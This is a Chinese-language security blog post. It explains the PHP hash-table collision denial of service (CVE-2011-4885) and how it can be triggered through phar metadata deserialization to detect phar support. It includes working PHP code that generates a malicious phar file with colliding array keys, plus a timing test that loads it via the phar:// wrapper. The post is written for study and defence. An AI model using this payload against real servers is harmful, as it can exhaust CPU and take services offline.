在逛先知的时候,发现chamd5团队对phar反序列化的文章中提到可以构造数组元素使哈希表退化成单链表来触发拒绝服务攻击,以此来探测是否支持phar反序列化。这个思路妙啊(拍断大腿


其实这是个老的洞了CVE-2011-4885

在PHP中,如果键值是数字, 那么Hash的时候就是数字本身,一般为hash & tableMask,tableMask是用来保证数字索引不会超出数组可容纳的元素个数值, 也就是数组个数-1

PHP的Hashtable的大小都是2的指数,比如如果你存入10个元素的数组, 那么数组实际大小是16, 如果存入20个, 则实际大小为32, 而63个话, 实际大小为64. 当你的存入的元素个数大于了数组目前的最多元素个数的时候, PHP会对这个数组进行扩容, 并且重新进行Hash

假设我们已经存了63个元素,所以当前数组大小为64,tableMask就为0111111,第一个元素键为0,则hash后的值为0 & 0111111 = 0,第二个元素键为64,hash后的值为1000000 & 0111111 = 0,以此类推,128、192等等的hash后的值都为0,这就使得原先O(1)的hashtable变成O(n)的array

当我们插入65535个这样的值,就会需要65534*655352=2147385345次遍历,计算量大幅上升

在PHP中,$_GET$_POST$_REQUEST都是PHP数组,所以可以轻松利用漏洞,但是这已经是过去式了,PHP修复此漏洞的方式是限制通过$_GET$_POST等方式传入的参数数量,但是如果PHP脚本通过json_decode()unserialize()等方式获取参数,依然将受到此漏洞的威胁

所以就可以利用phar协议的反序列化了,先生成phar文件

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
<?php
    set_time_limit(0);
    $size= pow(2, 16);
	$array = array();
    for ($key = 0, $maxKey = ($size - 1) * $size; $key <= $maxKey; $key += $size) {
        $array[$key] = 0;
    }
    $phar = new Phar('test.phar');
    $phar->startBuffering();
    $phar->addFromString('test.txt', 'text');
    $phar->setStub('<?php __HALT_COMPILER(); ? >');
    class AnyClass {}
    $object = new stdClass;
    $object->data = $array;
    $phar->setMetadata($object);
    $phar->stopBuffering();

引进phar文件进行测试效果

1
2
3
4
5
6
<?php
set_time_limit(0);
$startTime = microtime(true);
file_exists("phar://test.phar");
$endTime = microtime(true);
echo '执行时间:  '.($endTime - $startTime). ' 秒';

安排上了


参考

https://xz.aliyun.com/t/2613

http://www.laruence.com/2011/12/30/2435.html